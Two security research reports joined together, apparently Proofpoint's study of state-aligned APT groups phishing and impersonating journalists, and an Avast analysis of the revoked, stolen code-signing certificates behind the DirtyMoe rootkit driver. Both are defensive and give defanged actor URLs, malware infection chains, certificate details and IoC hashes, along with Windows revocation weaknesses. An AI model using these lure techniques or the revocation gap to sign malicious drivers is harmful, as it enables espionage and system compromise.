# Above the Fold and in Your Inbox: Tracing State-Aligned Activity Targeting Journalists, Media **Key Takeaways** - Those involved in media make for appealing targets given the unique access, information, and insights they can provide on topics of state-designated import. - Proofpoint researchers have observed APT actors since early 2021 regularly targeting and posing as journalists and media organizations to advance their state-aligned collection requirements and initiatives. - The identified campaigns have leveraged a variety of techniques from using web beacons for reconnaissance to sending malware to establish initial access into the target’s network. - The focus on media by APTs is unlikely to ever wane, making it important for journalists to protect themselves, their sources, and the integrity of their information by ensuring they have an accurate threat model and secure themselves appropriately. ## Overview Journalists and media organizations suffer from many of the same threats as everyone else. Between threat actors wanting to steal credentials to resell or to utilize compromised hosts for brokered initial access to spread ransomware, among other threats, this sector is no stranger to the dangers of the threat landscape. Advanced persistent threat (APT) actors, however, look to those in the field of media for different purposes; ones that could have far-reaching impacts. Journalists and media organizations are well sought-after targets with Proofpoint researchers observing APT actors, specifically those that are state-sponsored or state-aligned, routinely masquerading as or targeting journalists and media organizations because of the unique access and information they can provide. The media sector and those that work within it can open doors that others cannot. A well-timed, successful attack on a journalist’s email account could provide insights into sensitive, budding stories and source identification. A compromised account could be used to spread disinformation or pro-state propaganda, provide disinformation during times of war or pandemic, or be used to influence a politically charged atmosphere. Most commonly, phishing attacks targeting journalists are used for espionage or to gain key insights into the inner workings of another government, company, or other area of state-designated import. Proofpoint data since early 2021 shows a sustained effort by APT actors worldwide attempting to target or leverage journalists and media personas in a variety of campaigns, including those well-timed to sensitive political events in the United States. Some campaigns have targeted the media for a competitive intelligence edge while others have targeted journalists immediately following their coverage painting a regime in a poor light or as a means to spread disinformation or propaganda. For the purposes of this report, we focus on the activities of a handful of APT actors assessed to be aligned with the state interests of China, North Korea, Iran, and Turkey. ## Targeting Journalists’ Work Email Accounts As observed in Proofpoint data, targeting journalists’ work email accounts is by far the most seen locus of attack used by APT actors against this target set. It is important to note that journalists are communicating with external, foreign, and often semi-anonymous parties to gather information. This outreach increases the risk of phishing since journalists, often by necessity, communicate with unknown recipients more so than the average user. Verifying or gaining access to such accounts can be an entry point for threat actors for later stage attacks on a media organization’s network or to gain access to desired information. ### China Since early 2021, the APT actor tracked by Proofpoint as TA412, known also as Zirconium based on public reporting by Microsoft about a phishing reconnaissance team within this larger APT threat actor designation, has engaged in numerous reconnaissance phishing campaigns targeting US-based journalists. TA412, which is believed to be aligned with the Chinese state interest and to have strategic espionage objectives, has favored using malicious emails containing web beacons in these campaigns. This is a technique consistently used by the threat actor since at least 2016, however, it was likely in use for years prior. Web beacons, which are commonly referred to as tracking pixels, tracking beacons, and web bugs, embed a hyperlinked non-visible object within the body of an email that, when enabled, attempts to retrieve a benign image file from an actor-controlled server. Proofpoint researchers assess these campaigns have been intended to validate targeted emails are active and to gain fundamental information about the recipients’ network environments. Web beacons can provide the following technical artifacts to an attacker which, in turn, can serve as reconnaissance information as a threat actor plans their next stage of attack: - Externally visible IP addresses - User-Agent string - Email address - Validation that the targeted user account is active The campaigns by TA412 and their ilk evolved over the course of months, adjusting lures to best fit the current US political environment and switching to target US-based journalists focused on different areas of interest to the Chinese government. The campaigns which targeted journalists were part of a broader pattern of reconnaissance phishing conducted by this threat actor over many years. **2021:** Between January and February 2021, Proofpoint researchers identified five campaigns by TA412 targeting US-based journalists, most notably those covering US politics and national security during events that gained international attention. Of note a very abrupt shift in targeting of reconnaissance phishing occurred in the days immediately preceding the 6 January 2021 attack on the US Capitol Building. Proofpoint researchers observed a focus on Washington DC and White House correspondents during this time. The malicious emails utilized subject lines pulled from recent US news articles, such as “Jobless Benefits Run Out as Trump Resists Signing Relief Bill,” “US issues Russia threat to China,” and “Trump Call to Georgia Official Might Violate State and Federal Law.” The message bodies duplicated text included in the news articles and the web beacon URLs included a benign PNG file with a 0x0 aspect ratio that was retrieved as part of the web beacon in the following format: ``` hxxp://www.actor-controlled domain[.]com/Free/<Targeted User Email Fragment>/0103/Customer.png. ``` The URL structure designates an actor-controlled domain, a campaign identifier, a victim identifier, a campaign date, and the name of the benign PNG resource. In August 2021, after a months-long break, TA412 again turned to targeting journalists, but this time those working cybersecurity, surveillance, and privacy issues with a focus on China. Those targeted appeared to have written extensively on social media privacy issues and Chinese disinformation campaigns, signaling an interest by the Chinese state in media narratives that could push a negative global opinion or perception of China. These campaigns mirrored those identified earlier in 2021 but demonstrated an evolving web beacon URL structure that changes over time. The observed structure was: ``` hxxp://[actor-controlled domain/IP]/stringhere/AbbreviatedVictimAddress[@]AbbreviatedTargetedOrganization/filename[.]png. ``` **2022:** After an observed pause in targeting journalists, Proofpoint researchers identified a resumption of targeting this sector on February 9, 2022. The campaigns were numerous and occurred over a period of ten days. These campaigns strongly resembled those noted in early 2021 and indicated a desire to collect on US-based media organizations and contributors with a focus on those reporting on US and European engagement in the anticipated Russia-Ukraine war. Subjects included: - New bill aims to prohibit US military aid to Ukraine - US issues Russia threat to China - Macron reveals Putin 'guarantees' - UK to arm Ukraine with anti-ship missiles against Russia - Kiev's envoy - US says how Ukraine stand-off can be resolved - UK says invasion 'highly likely' - White House says door for diplomacy with Russia remains open, but troop buildup is continuing Another Chinese APT group, TA459, in late April 2022 targeted media personnel with emails containing a malicious Royal Road R TF attachment (acknowledge.doc) that, if opened, would install and execute Chinoxy malware. This malware is a backdoor that is used to gain persistence on a victim’s machine. Researchers at Bitdefender have observed the threat actor’s use of Chinoxy extensively in Southeast Asia since at least 2018. Of note, the targeted entity was responsible for reporting on the Russia-Ukraine conflict, which aligns with TA459’s historic mandate of collecting on intelligence matters related to Russia and Belarus. This campaign used a possibly compromised Pakistani government email address to send the emails and looked to entice media recipients with a lure on foreign policy in Afghanistan. To add to the credibility of the emails, TA459 included links to a benign YouTube video produced by the Islamabad Security Dialogue, which references disinformation campaigns. ### North Korea In a vengeful twist, the North Korea-aligned TA404 in early 2022 targeted a US-based media organization with job opportunity-themed phishing. This attack occurred after the organization published an article critical of North Korean leader Kim Jong Un—a well-known motivator for action by North Korea-aligned APT actors. TA404, known more broadly as Lazarus, typically engages in highly targeted campaigns that begin with benign messages. This campaign aligned with that expected behavior. It started with reconnaissance phishing that used URLs customized to each recipient. The URLs impersonated a job posting with landing pages designed to look like a branded job posting site. If a victim interacted with the URL, which contained a unique target ID, the server resolving the domain would have received confirmation that the email was delivered, and the intended target had interacted with it. This request also provides identifying information about the computer, or device, allowing the host to keep track of the intended target. While Proofpoint researchers did not observe follow-up emails, considering this threat actor’s proclivity for later sending malware-laden email attachments, it is likely that TA404 would have attempted to send malicious template document attachment or something similar in the future. Researchers at the Google Threat Analysis Group (TAG) on March 24, 2022 disclosed details on this campaign as part of “Operation Dream Job.” While journalism and media were not listed among the targeted sectors, Proofpoint has observed shared indicators of compromise utilized in both campaigns identified earlier this year and those reported by Google TAG. ## Targeting Journalists’ Social Media Accounts Targeting journalists and media organizations for their social media account credentials can have significant consequences. For example, in 2013 a threat actor took over the official Associated Press Twitter account and posted a tweet claiming President Barack Obama had been injured in an attack on the White House. The stock market dropped more than 100 points in roughly two minutes following the tweet. Two years later, in 2015, a threat actor compromised about 130 Twitter accounts of influential individuals and tricked some of their followers into transferring more than $100,000 in Bitcoin to attacker-controlled accounts. While oftentimes campaigns looking to compromise social media accounts, including those by APTs, do not result in such severe or observable outcomes, they can still wind up requiring more than just an account reset or the activation of multi-factor authentication (MFA), especially since enabling MFA is not a guarantee of complete account protection. ### Turkey Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations. This victimology, TA482’s use of services originating from Turkey to host its domains and infrastructure, as well as Turkey’s history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey’s ruling party) propaganda support Proofpoint’s assessment that TA482 is aligned with the Turkish state. Ongoing campaigns have narrowed in on Twitter credentials of any individuals that write for media publications. This includes journalists from well-known news outlets to those writing for an academic institution and everything in-between. The malicious emails are typically Twitter security themed and attempt to grab a recipient’s attention with subjects alerting the user to a suspicious or new login location. If the target clicks on the link supplied in the email, they are taken to a credential harvesting landing page which impersonates a Twitter login page to reset their password. Proofpoint researchers cannot independently verify the motivations behind these campaigns, but the possibilities abound and, based on historical Turkey threat actor activity, could include using the compromised accounts to target a journalist’s social media contacts, use the accounts for defacement, or to spread propaganda. It is possible these attacks will ramp up as Turkey’s 2023 parliamentary and presidential elections draw near. ## Posing as Journalists There is an inherent sense of intrigue when one is approached by a journalist to discuss an area of expertise. The allure of having research highlighted in the media is often a great motivator to overlook or disregard signs that this opportunity may not be entirely legitimate. This social engineering tactic successfully exploits the human desire for recognition and is being leveraged by APT actors wishing to target academics and foreign policy experts worldwide, likely in an effort to gain access to sensitive information. ### Iran Multiple Iran-aligned APT actors use journalists or newspapers as pretexts to surveil targets and attempt to harvest their credentials. One of the most active in Proofpoint telemetry is TA453, also known as Charming Kitten. TA453, which we assess with high confidence supports the Islamic Revolutionary Guard Corps intelligence collection efforts, routinely masquerades as journalists from around the world. The threat actor uses these personas to engage in benign conversations with targets, which consist mostly of academics and policy experts working on Middle Eastern foreign affairs. If the initial email is ignored, TA453 will often recontact individuals to follow up. If the targeted recipient does engage in conversation with the persona, TA453 will eventually invite them to a virtual meeting to have further discussions via a customized, but benign PDF. The vast majority of TA453 campaigns ultimately lead to credential harvesting. The benign PDFs are typically delivered from file hosting services and almost always contain a link to a URL shortener and IP tracker that redirects targets to the credential harvesting domains on actor-controlled infrastructure. TA456, also known as Tortoiseshell, is another Iran-aligned threat actor that routinely masquerades as media organizations sending newsletters across the ideological spectrum, including Fox News and the Guardian. TA456 has repeatedly targeted the same users with newsletter themed emails containing web beacons. This activity likely has complemented TA456's efforts to deliver malware via relationships built on social media similar to previous campaigns. Lastly, TA457, an Iran-aligned threat actor active in Proofpoint data since late 2021, has been known to masquerade as an “iNews Reporter” to deliver malware to public relations personnel for companies located in the US, Israel, and Saudi Arabia. For example, in early March 2022, TA457 sent an email with the ironic subject “Iran Cyber War” and the actor-controlled domain news-spot[.]live. The campaign continued TA457’s pattern of using news themed lure websites to deliver a malicious URL. The URL structure (news-spot[.]live/Reports/1/?id=[Campaign/Lure Identifier]&pid=[TargetIdentifier]) has both an identifier to track which lure documents to deliver along with a PID to determine which recipient is receiving the phish. The themes of documents have included Iran, Russia, drones, war crimes, “secret weapons,” and more. When a user clicks the malicious URL, two files are downloaded: a Word document and an .scr file. When macros are enabled on the document, it drops an embedded executable file (DnsDig.exe). When the reader.scr file is dropped, it downloads DnsDig.exe from the URL and also drops iran.pdf as a decoy to the user. DnsDig is a TA457 remote access trojan that uses DNS tunneling to a hardcoded domain (cyberclub[.]one). Between September 2021 and March 2022, Proofpoint observed TA457 campaigns approximately every two to three weeks. The March 2022 campaign targeted both individual and generic, group email addresses such as international.media@[redacted].com at less than ten Proofpoint customers involved in energy, media, government, and manufacturing. ## Conclusion Targeting journalists and media organizations is not novel. APT actors, regardless of their state affiliation, have and will likely always have a mandate to target journalists and media organizations and will use associated personas to further their objectives and collection priorities. From intentions to gather sensitive information to attempts to manipulate public perceptions, the knowledge and access that a journalist or news outlet can provide is unique in the public space. Targeting the media sector also lowers the risk of failure or discovery to an APT actor than going after other, more hardened targets of interest, such as government entities. The varied approaches by APT actors—using web beacons for reconnaissance, credential harvesting, and sending malware to gain a foothold in a recipient’s network—means those operating in the media space need to stay vigilant. Assessing one’s personal level of risk can give an individual a good sense of the odds they will end up as a target. Such as, if you report on China or North Korea or associated threat actors, you may become part of their collection requirements in the future. Being aware of the broad attack surface—all the varied online platforms used for sharing information and news—an APT actor can leverage is also key to preventing oneself from becoming a victim. And ultimately practicing caution and verifying the identity or source of an email can halt an APT attack in its nascent stage.
# DirtyMoe: Code Signing Certificate **Abstract** The DirtyMoe malware uses a driver signed with a revoked certificate that can be seamlessly loaded into the Windows kernel. Therefore, one of the goals is to analyze how Windows works with a code signature of Windows drivers. Similarly, we will also be interested in the code signature verification of user-mode applications since the user account control (UAC) does not block the application execution even if this one is also signed with a revoked certificate. The second goal is a statistical analysis of certificates that sign the DirtyMoe driver because the certificates are also used to sign other malicious software. We focus on the determination of the certificate’s origin, prevalence, and a quick analysis of the top 10 software signed with these certificates. Contrary to what often has been assumed, Windows loads a driver signed with a revoked certificate. Moreover, the results indicate that the UAC does not verify revocation online but only via the system local storage which is updated by a user manually. DirtyMoe certificates are used to sign many other software, and the number of incidents is still growing. Furthermore, Taiwan and Russia seem to be the most affected by these faux signatures. Overall, the analyzed certificates can be declared as malicious, and they should be monitored. The UAC contains a significant vulnerability in its code signature verification routine. Therefore, in addition to the usual avoidance of downloading from usual sources, Windows users should also not fully rely on inbuilt protections only. Due to the flawed certificate verification, manual verification of the certificate is recommended for executables requiring elevated privileges. ## 1. Introduction The DirtyMoe malware is a complex malicious backdoor designed to be modularized, undetectable, and untrackable. The main aim of DirtyMoe is cryptojacking and DDoS attacks. Basically, it can do anything that attackers want. The previous study, published at DirtyMoe: Introduction and General Overview, has shown that DirtyMoe also employs various self-protection and anti-forensics mechanisms. One of the more significant safeguards, defending DirtyMoe, is a rootkit. What is significant about the rootkit using is that it offers advanced techniques to hide malicious activity on the kernel layer. Since DirtyMoe is complex malware and has undergone long-term development, the malware authors have also implemented various rootkit mechanisms. The DirtyMoe: Rootkit Driver post examines the DirtyMoe driver functionality in detail. However, another important aspect of the rootkit driver is a digital signature. The rootkits generally exploit the system using a Windows driver. Microsoft has begun requiring the code signing with certificates that a driver vendor is trusted and verified by a certification authority (CA) that Microsoft trusts. Nonetheless, Windows does not allow the loading of unsigned drivers since 64-bit Windows Vista and later versions. Although the principle of the code signing is correct and safe, Windows allows loading a driver that a certificate issuer has explicitly revoked the used certificate. The reasons for this behavior are various, whether in terms of performance or backward compatibility. The weak point of this certificate management is if malware authors steal any certificate that has been verified by Microsoft and revoked by CA in the past. Then the malware authors can use this certificate for malicious purposes. It is precisely the case of DirtyMoe, which still signs its driver with stolen certificates. Moreover, users cannot affect the codesign verification via the user account control (UAC) since drivers are loaded in the kernel mode. Motivated by the loading of drivers with revoked certificates, the main issues addressed in this paper are analysis of mechanism how Windows operates with code signature in the kernel and user mode; and detailed analysis of certificates used for code signing of the DirtyMoe driver. This paper first gives a brief overview of UAC and code signing of Windows drivers. There are also several observations about the principle of UAC, and how Windows manages the certificate revocation list (CRL). The remaining part of the paper aims to review in detail the available information about certificates that have been used to code signatures of the DirtyMoe driver. Thus far, three different certificates have been discovered and confirmed by our research group as malicious. Drivers signed with these certificates can be loaded notwithstanding their revocation into the 64-bit Windows kernel. An initial objective of the last part is an analysis of the suspicious certificates from a statistical point of view. There are three viewpoints that we studied. The first one is the geological origin of captured samples signed with the malicious certificate. The second aspect is the number of captured samples, including a prediction factor for each certificate. The last selected frame of reference is a statistical overview about a type of the signed software because the malware authors use the certificates to sign various software, e.g., cracked software or other popular user applications that have been patched with a malicious payload. We have selected the top 10 software signed with revoked certificates and performed a quick analysis. Categories of this software help us to ascertain the primarily targeted type of software that malware authors signed. Another significant scope of this research is looking for information about companies that certificates have probably been leaked or stolen. ## 2. Background Digital signatures are able to provide evidence of the identity, origin, and status of electronic documents, including software. The user can verify the validity of signatures with the certification authority. Software developers use digital signatures to a code signing of their products. The software authors guarantee via the signature that executables or scripts have not been corrupted or altered since the products have been digitally signed. Software users can verify the credibility of software developers before run or installation. Each code-signed software provides information about its issuer, and an URL points to the current certificate revocation list (CRL) known as the CRL Distribution Point. Windows can follow the URL and check the validity of the used certificate. If the verification fails, the User Account Control (UAC) blocks software execution that code-signature is not valid. Equally important is the code-signature of Windows drivers that use a different approach to digital signature verification. Whereas user-mode software signatures are optional, the Windows driver must be signed by a CA that Windows trusts. Driver signing is mandatory since 64-bit Windows Vista. ### 2.1 User Account Control and Digital Signature Windows 10 prompts the user for confirmation if the user wants to run software with high permission. User Account Control (UAC) should help to prevent users from inadvertently running malicious software or other types of changes that might destabilize the Windows system. Additionally, UAC uses color coding for different scenarios – blue for a verified signature, yellow for an unverified, and red for a rejected certificate. Unfortunately, users are the weakest link in the safety chain and often willingly choose to ignore such warnings. Windows itself does not provide 100% protection against unknown publishers and even revoked certificates. So, user’s ignorance and inattention assist malware authors. ### 2.2 Windows Drivers and Digital Signature Certificate policy is diametrically different for Windows drivers in comparison to other user-mode software. While user-mode software does not require code signing, code signing is mandatory for a Windows driver; moreover, a certificate authority trusted by Microsoft must be used. Nonetheless, the certificate policy for the windows drivers is quite complicated. #### 2.2.1 Driver Signing Historically, 32-bit drivers of all types were unsigned, e.g., drivers for printers, scanners, and other specific hardware. Windows Vista has brought a new signature policy, but Microsoft could not stop supporting the legacy drivers due to backward compatibility. However, 64-bit Windows Vista and later has to require digitally signed drivers according to the new policy. Hence, 32-bit drivers do not have to be signed since these drivers cannot be loaded into the 64-bit kernels. The code signing of 32-bit drivers is a good practice although the certificate policy does not require it. Microsoft has no capacity to sign each driver, more precisely file, provided by third-party vendors. Therefore, a cross-certificate policy is used to provide an instrument to create a chain of trust. This policy allows the release of a subordinate certificate that builds the chain of trust from the Microsoft root certification authority to multiple other CAs that Microsoft accredited. The current cross-certificate list is documented. In fact, the final driver signature is done with a certificate that has been issued by the subordinate CA, which Microsoft authorized. The examples of the certificate chain illustrate the certification chain of one Avast driver. #### 2.2.2 Driver Signature Verification For user-mode software, digital signatures are verified remotely via the CRL list obtained from certificate issuers. The signature verification of Windows drivers cannot be performed online compared with user-mode software because of the absence of network connection during the kernel bootup. Moreover, the kernel boot must be fast and a reasonable approach to tackle the signature verification is to implement a light version of the verification algorithm. The Windows system has hardcoded root certificates of several CAs and therefore can verify the signing certificate chain offline. However, the kernel has no chance to authenticate signatures against CRLs. The same is applied to expired certificates. Taken together, this approach is implemented due to kernel performance and backward driver compatibility. Thus, leaked and compromised certificates of a trusted driver vendor causes a severe problem for Windows security. ## 3. CRL, UAC, and Drivers As was pointed out in the previous section, CRL contains a list of revoked certificates. UAC should verify the chain of trust of run software that requires higher permission. The UAC dialog then shows the status of the certificate verification. It can end with two statuses, e.g., verified publisher or unknown publisher. However, we have a scenario where software is signed with a revoked certificate and run is not blocked by UAC. Moreover, the code signature is marked as the unknown publisher, although the certificate is in CRL. ### 3.1 Cryptographic Services and CRL Storage Cryptographic Services confirms the signatures of Windows files and stores file information into the `C:\Users\<user>\AppData\LocalLow\Microsoft\CryptnetUrlCache` folder, including the CRL of the verified file. The `CryptnetUrlCache` folder (cache) is updated, for instance, if users manually check digital signatures via “Properties -> Digital Signature” or via the `signtool` tools. The certificate verification processes the whole chain of trust, including CRL and possible revocations deposits in the cache folder. Another storage of CRLs is Certificate Storage accessible via the Certificate Manager Tool. ### 3.2 CRL Verification by UAC UAC itself does not verify code signature, or more precisely chain of trust, online; it is probably because of system performance. The UAC codesign verification checks the signature and CRL via `CryptnetUrlCache` and the system Certificate storage. Therefore, UAC marks malicious software, signed with the revoked certificate, as the unknown publisher because `CryptnetUrlCache` is not up-to-date initially. Suppose the user adds appropriate CRL into Certificate Storage manually using this command: `certutil -addstore -f Root CSC3-2010.crl` In that case, UAC will successfully detect the software as suspicious, and UAC displays this message: “An administrator has blocked you from running this app.” without assistance from Cryptographic Services and therefore offline. The Windows update does not include CRLs of cross-certificate authorities that Microsoft authorized to codesign of Windows files. This fact has been verified via Windows updates and version as follow: - Windows Malicious Software Removal Tool x64 – v5.91 (KB890830) - 2021-06 Cumulative update for Windows 10 Version 20H2 for x64-based System (KB5003690) - Windows version: 21H1 (OB Build 19043.1110) In summary, UAC checks digital signatures via the system local storage of CRL and does not verify code signature online. ### 3.3 Windows Driver and CRL Returning briefly to the codesign of the Windows driver that is required by the kernel. The kernel can verify the signature offline, but it cannot check CRL since Cryptographic Services and network access are not available at boot time. Turning now to the experimental evidence on the offline CRL verification of drivers. It is evident in the case described in Section 3.2 that UAC can verify CRL offline. So, the tested hypothesis is that the Windows kernel could verify the CRL of a loaded driver offline if an appropriate CRL is stored in Certificate Storage. We used the DirtyMoe malware to deploy the malicious driver that is signed with the revoked certificate. The corresponding CRL of the revoked certificate has been imported into Certificate Storage. However, the driver was still active after the system restart. It indicates that the rootkit was successfully loaded into the kernel, although the driver certificate has been revoked and the current CRL was imported into Certificate Storage. There is a high probability that the kernel avoids the CRL verification even from local storage. ## 4. Certificate Analysis The scope of this research are three certificates as follow: **Beijing Kate Zhanhong Technology Co.,Ltd.** - Valid From: 28-Nov-2013 (2:00:00) - Valid To: 29-Nov-2014 (1:59:59) - SN: 3c5883bd1dbcd582ad41c8778e4f56d9 - Thumbprint: 02a8dc8b4aead80e77b333d61e35b40fbbb010a0 - Revocation Status: Revoked on 22-May-2014 (9:28:59) - CRL Distribution Point: http://cs-g2-crl.thawte.com/ThawteCSG2.crl - IoCs: - 88D3B404E5295CF8C83CD204C7D79F75B915D84016473DFD82C0F1D3C375F968 - 376F4691A80EE97447A66B1AF18F4E0BAFB1C185FBD37644E1713AD91004C7B3 - 937BF06798AF9C811296A5FC1A5253E5A03341A760A50CAC67AEFEDC0E13227C **Beijing Founder Apabi Technology Limited** - Valid From: 22-May-2018 (2:00:00) - Valid To: 29-May-2019 (14:00:00) - SN: 06b7aa2c37c0876ccb0378d895d71041 - Thumbprint: 8564928aa4fbc4bbecf65b402503b2be3dc60d4d - Revocation Status: Revoked on 22-May-2018 (2:00:01) - CRL Distribution Point: http://crl3.digicert.com/sha2-assured-cs-g1.crl - IoCs: - B0214B8DFCB1CC7927C5E313B5A323A211642E9EB9B9F081612AC168F45BF8C2 - 5A4AC6B7AAB067B66BF3D2BAACEE300F7EDB641142B907D800C7CB5FCCF3FA2A - DA720CCAFE572438E415B426033DACAFBA93AC9BD355EBDB62F2FF01128996F7 **Shanghai Yulian Software Technology Co., Ltd.** - Valid From: 23-Mar-2011 (2:00:00) - Valid To: 23-Mar-2012 (1:59:59) - SN: 5f78149eb4f75eb17404a8143aaeaed7 - Thumbprint: 31e5380e1e0e1dd841f0c1741b38556b252e6231 - Revocation Status: Revoked on 18-Apr-2011 (10:42:04) - CRL Distribution Point: http://csc3-2010-crl.verisign.com/CSC3-2010.crl - IoCs: - 15FE970F1BE27333A839A873C4DE0EF6916BD69284FE89F2235E4A99BC7092EE - 32484F4FBBECD6DD57A6077AA3B6CCC1D61A97B33790091423A4307F93669C66 - C93A9B3D943ED44D06B348F388605701DBD591DAB03CA361EFEC3719D35E9887 ### 4.1 Beijing Kate Zhanhong Technology Co.,Ltd. We did not find any relevant information about Beijing Kate Zhanhong Technology company. Avast captured 124 hits signed with the Beijing Kate certificates from 2015 to 2021. However, prediction to 2021 indicates a downward trend. Only 19 hits have been captured in the first 7 months of this year, so the prediction for this year (2021) is approx. 30 hits signed with this certificate. Ninety-five percent of total hits have been located in Asia. The malware authors use this certificate to sign Windows system drivers in 61% of monitored hits, and Windows executables are signed in 16% of occurrences. Overall, it seems that the malware authors focus on Windows drivers, which must be signed with any verified certificates. ### 4.2 Beijing Founder Apabi Technology Limited The Beijing Founder Apabi Technology Co., Ltd. was founded in 2001, and it is a professional digital publishing technology and service provider under Peking University Founder Credit Group. The company also develops software for e-book reading. The Beijing Founder certificate has been observed, as malicious, in 166 hits with 18 unique SHAs. The most represented sample is an executable called “Linking.exe” which was hit in 8 countries, most in China; exactly 71 cases. The first occurrence and peak of the hits were observed in 2018. The incidence of hits was an order of magnitude lower in the previous few years, and we predict an increase in the order of tens of hits. ### 4.3 Shanghai Yulian Software Technology Co., Ltd. The Shanghai Yulian Software Technology Co. was founded in 2005, which provides network security guarantees for network operators. Its portfolio covers services in the information security field, namely e-commerce, enterprise information security, security services, and system integration. The Shanghai Yulian Software certificate is the most widespread compared to others. Avast captured this certificate in 10,500 cases in the last eight years. Moreover, the prevalence of samples signed with this certificate is on the rise, although the certificate was revoked by its issuer in 2011. In addition, the occurrence peak was in 2017 and 2020. We assume a linear increase of the incidence and a prediction for 2021 is based on the first months of 2021. Therefore, the prediction for 2021 indicates that this revoked certificate will also dominate in 2021. The previous certificates dominate only in Asia, but the Shanghai Yulian Software certificate prevails in Asia and Europe. The dominant countries are Taiwan and Russia. China and Thailand are on a close hinge. ### 4.3.1 Analysis of Top 10 Captured Files We summarize the most frequent files in this subchapter. The most common occurrence of the file names: hit count and number of countries. We have identified the five most executables signed with Shanghai Yulian Software certificate. The malware authors target popular and commonly used user applications such as video editors, communication applications, and video games. 1. **WFP_Drive.sys** The WFP driver was hit in a folder of App-V (Application Virtualization) in `C:\ProgramData`. The driver can filter network traffic similar to a firewall. So, malware can block and monitor arbitrary connections, including transferred data. The malware does not need special rights to write into the `ProgramData` folder. The driver and App-V’s file names are not suspicious at first glance since App-V uses Hyper-V Virtual Switch based on the WFP platform. 2. **LoginDrvS.sys** The LoginDrvS driver uses a similar principle as the WFP driver. The malware camouflages its driver in a commonly used application folder. It uses the LineageLogin application folder that is used as a launcher for various applications, predominantly video games. 3. **Denuvo64.sys** Denuvo is an anti-piracy protection technique used by hundreds of programming companies around the world. This solution is a legal rootkit that can also detect cheat mode and other unwanted activity. Therefore, Denuvo has to use a kernel driver. 4. **WsAP-Filmora.dll** Wondershare Filmora is a simple video editor which has free and paid versions. So, there is a place for cracks and malware activities. All hit paths point to crack activity where users tried to bypass the trial version of the Filmora editor. 5. **μTorrent.exe** μTorrent is a freeware P2P client for the BitTorrent network. Avast has detected 417 hits of malicious μTorrent applications. The malicious application is based on the original μTorrent client with the same functionality, GUI, and icon. ### 4.3.2 YDArk Rootkit We have found one Github repository which contains a YDArk tool that monitors system activities via a driver signed with the compromised certificate. The last sign was done in May 2021; hence it seems that the stolen certificate is still in use despite the fact that it was revoked 10 years ago. The repository is managed by two users, both located in China. The YDArk driver has been signed with the compromise certificates by ScriptBoy2077, who admitted that the certificate is compromised and expired. ## 5. Discussion The most interesting finding of this research was that Windows allows loading drivers signed with revoked certificates even if an appropriate CRL is locally stored. Windows successfully verifies the signature revocation offline for user-mode applications via UAC. However, if Windows loads drivers with the revoked certificate into the kernel despite the up-to-date CRL, it is evident that the Windows kernel avoids the CRL check. Therefore, it is likely that the missing implementation of CRL verification is omitted due to the performance at boot time. It is a hypothesis, so further research will need to be undertaken to fully understand the process and implementation of driver loading and CRL verification. Another important finding was that the online CRL is not queried by UAC in digital signatures verification for user-mode applications, which require higher permission. It is somewhat surprising that UAC blocks the applications only if the user manually checks the chain of trust before the application is run; in other words, if the current CRL is downloaded and is up-to-date before the UAC run. So, the evidence suggests that neither UAC does not fully protect users against malicious software that has been signed with revoked certificates. Consequently, the users should be careful when UAC appears. The DirtyMoe’s driver has been signing with three certificates that we analyzed in this research. Evidence suggests that DirtyMoe’s certificates are used for the code signing of other potentially malicious software. It is hard to determine how many malware authors use the revoked certificates precisely. We classified a few clusters of unique SHA samples that point to the same malware authors via PDB paths. However, many other groups cannot be unequivocally identified. There is a probability that the malware authors who use the revoked certificates may be a narrow group; however, further work which compares the code similarities of signed software is required to confirm this assumption. This hypothesis is supported by the fact that samples are dominantly concentrated in Taiwan and Russia in such a long time horizon. Moreover, leaked private keys are often available on the internet, but the revoked certificates have no record. It could mean that the private keys are passed on within a particular malware author community. According to these data, we can infer that the Shanghai Yulian Software Technology certificate is the most common use in the wild and is on the rise, although the certificate was revoked 10 years ago. Geological data demonstrates that the malware authors target the Asian and European continents primarily, but the reason for this is not apparent; therefore, questions still remain. Regarding types of misused software, the analysis of samples signed with the Shanghai Yulian Software certificate confirmed that most samples are rootkits deployed together with cracked or patched software. Other types of misused software are popular user applications, such as video games, communication software, video editors, etc. One of the issues is that the users observe the correct behavior of suspicious software, but malicious mechanisms or backdoors are also deployed. In summary, the DirtyMoe’s certificates are still used for code signing of other software than the DirtyMoe malware, although the certificates were revoked many years ago. ## 6. Conclusion The malware analysis of the DirtyMoe driver (rootkit) discovered three certificates used for codesign of suspicious executables. The certificates have been revoked in the middle of their validity period. However, the certificates are still widely used for codesign of other malicious software. The revoked certificates are principally misused for the code signature of malicious Windows drivers (rootkits) because the 64bit Windows system has begun requiring the driver signatures for greater security. On the other hand, Windows does not implement the verification of signatures via CRL. In addition, the malware authors abuse the certificates to sign popular software to increase credibility, whereas the software is patched with malicious payloads. Another essential point is that UAC verifies the signatures against the local CRL, which may not be up-to-date. UAC does not download the current version of CRL when users want to run software with the highest permission. Consequently, it can be a serious weakness. One source of uncertainty is the origin of the malware authors who misused the revoked certificates. Everything points to a narrow group of the author primarily located in China. Further investigation of signed samples are needed to confirm that the samples contain payloads with similar functionality or code similarities. Overall, these results and statistics suggest that Windows users are still careless when running programs downloaded from strange sources, including various cracks and keygens. Moreover, Windows has a weak and ineffective mechanism that would strongly warn users that they try to run software with revoked certificates, although there are techniques to verify the validity of digital signatures.
